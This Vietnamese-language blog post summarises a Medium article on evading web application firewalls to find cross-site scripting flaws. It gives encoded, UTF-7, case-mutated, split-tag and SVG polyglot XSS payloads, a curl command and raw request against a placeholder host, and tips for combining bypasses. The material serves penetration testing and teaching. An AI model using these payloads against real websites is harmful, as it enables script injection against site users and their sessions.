Giới thiệu
Cross-Site Scripting (XSS) luôn là một trong những lỗ hổng phổ biến nhất tại OWASP Top 10. Để chống lại XSS, nhiều tổ chức triển khai Web Application Firewall (WAF). Tuy nhiên, kẻ tấn công vẫn có thể vượt qua lớp bảo vệ này bằng các kỹ thuật tinh vi. Bài viết gốc của Shellbr3ak trên Medium trình bày chi tiết nhiều phương pháp bypass WAF khi tìm XSS. Trong bài blog này, chúng ta sẽ phân tích kỹ nội dung, minh họa ví dụ và so sánh hiệu quả của từng kỹ thuật.
1. Nguyên lý hoạt động của WAF với XSS
- WAF thường phân tích request HTTP và tìm các mẫu nguy hiểm trong payload.
- Các biện pháp bảo vệ bao gồm:
- Signature-based: Dò tìm chuỗi cố định như
<script>hayonerror. - Heuristics/Behavioral: Phân tích hành vi mã JavaScript được chèn.
- Positive-security model: Chỉ cho phép các ký tự, cú pháp “sạch”.
Để bypass, kẻ tấn công khai thác điểm yếu trong cách WAF kiểm tra, chẳng hạn như:
- Phân tách chuỗi (splitting / segmentation)
- Thay đổi encoding (UTF-7, UTF-16, URL encoding)
- Sử dụng polyglot payload (đoạn mã có thể được giải mã thành nhiều dạng)
2. Các kỹ thuật bypass phổ biến
2.1 URL Encoding / Double Encoding
Thay thế ký tự gây nghi ngờ bằng %XX hoặc %25XX:
<img src=x onerror=alert(1)>
→ bypass WAF signature-based:
%3Cimg%20src=x%20onerror=alert(1)%3E
Double encoding:
%253Cimg%2520src=x%2520onerror=alert(1)%253E
2.2 Unicode / UTF-7, UTF-16 Encoding
Dùng charset khác để né bộ lọc chỉ tìm ASCII:
Content-Type: text/html; charset=utf-7
Payload UTF-7:
+ADw-script+AD4-alert(1)+ADw-/script+AD4-
2.3 Case Mutation
Một số WAF chỉ kiểm chuỗi cố định “script”. Thay đổi kiểu chữ:
<SCRiPt>alert(1)</SCRiPt>
2.4 Tag Breaking / Splitting
Chèn khoảng trắng, dấu tab, ký tự line-break:
<scr
ipt>alert(1)</scr
ipt>
2.5 Polyglot Payloads
Một payload hoạt động trong nhiều ngữ cảnh:
"><svg/onload=alert(1)>
- Có thể chèn vào attribute, URL, HTML body.
3. Bảng so sánh kỹ thuật bypass
| Kỹ thuật | Cách thức | Ưu điểm | Hạn chế |
|---|---|---|---|
| URL Encoding | Encode ký tự `<` `>` thành `%3C` `%3E` | Dễ thực hiện, bypass WAF đơn giản | WAF nâng cao có thể decode trước khi check |
| Double Encoding | Encode lần hai: `%25XX` | Bắt kịp WAF decode 1 lần | Lộ payload dài, dễ bị rò dò pattern decode |
| Unicode (UTF-7/16) | Sử dụng charset khác để né filter | WAF ít hỗ trợ charset này | Trình duyệt và server phải hỗ trợ charset |
| Case Mutation | Đổi chữ hoa/thường | Bypass WAF không case-sensitive | WAF hiện đại thường ignore case |
| Tag Splitting | Chia tag ra nhiều dòng hoặc ký tự | Khai thác lỗ hổng parser của WAF | Yêu cầu reconstruct payload phía client |
| Polyglot | Payload hoạt động trong nhiều ngữ cảnh | Tính linh hoạt, mạnh mẽ | Phức tạp, dễ bị phá vỡ nếu context khác |
4. Ví dụ minh họa
4.1 Bypass với URL Encoding
curl "http://target.com/page?search=%3Cscript%3Ealert(1)%3C/script%3E"
4.2 Bypass với UTF-7
GET /?q=+ADw-script+AD4-alert(1)+ADw-/script+AD4- HTTP/1.1
Host: target.com
Content-Type: text/html; charset=utf-7
4.3 Polyglot SVG
"><svg/ onload=alert(1)//
5. Lưu ý khi triển khai
- Không phải mọi kỹ thuật đều hoạt động với tất cả WAF.
- Cần thử nghiệm trên từng phiên bản WAF cụ thể (ModSecurity, AWS WAF, Cloudflare, v.v.).
- Kết hợp nhiều kỹ thuật (hybrid) để tăng tỷ lệ bypass.
- Giữ payload càng ngắn càng tốt để tránh bị cắt bớt.
6. Kết luận
XSS WAF bypass là một cuộc chạy đua giữa kẻ tấn công và đội bảo mật. Bằng cách hiểu rõ cách WAF kiểm tra và áp dụng linh hoạt các kỹ thuật encode, mutation, polyglot, bạn có thể gia tăng hiệu quả phát hiện và khai thác XSS trong môi trường có WAF. Luôn cập nhật với các bypass mới và kiểm thử liên tục để duy trì lợi thế.
Source link: XSS WAF Bypass – Shellbr3ak






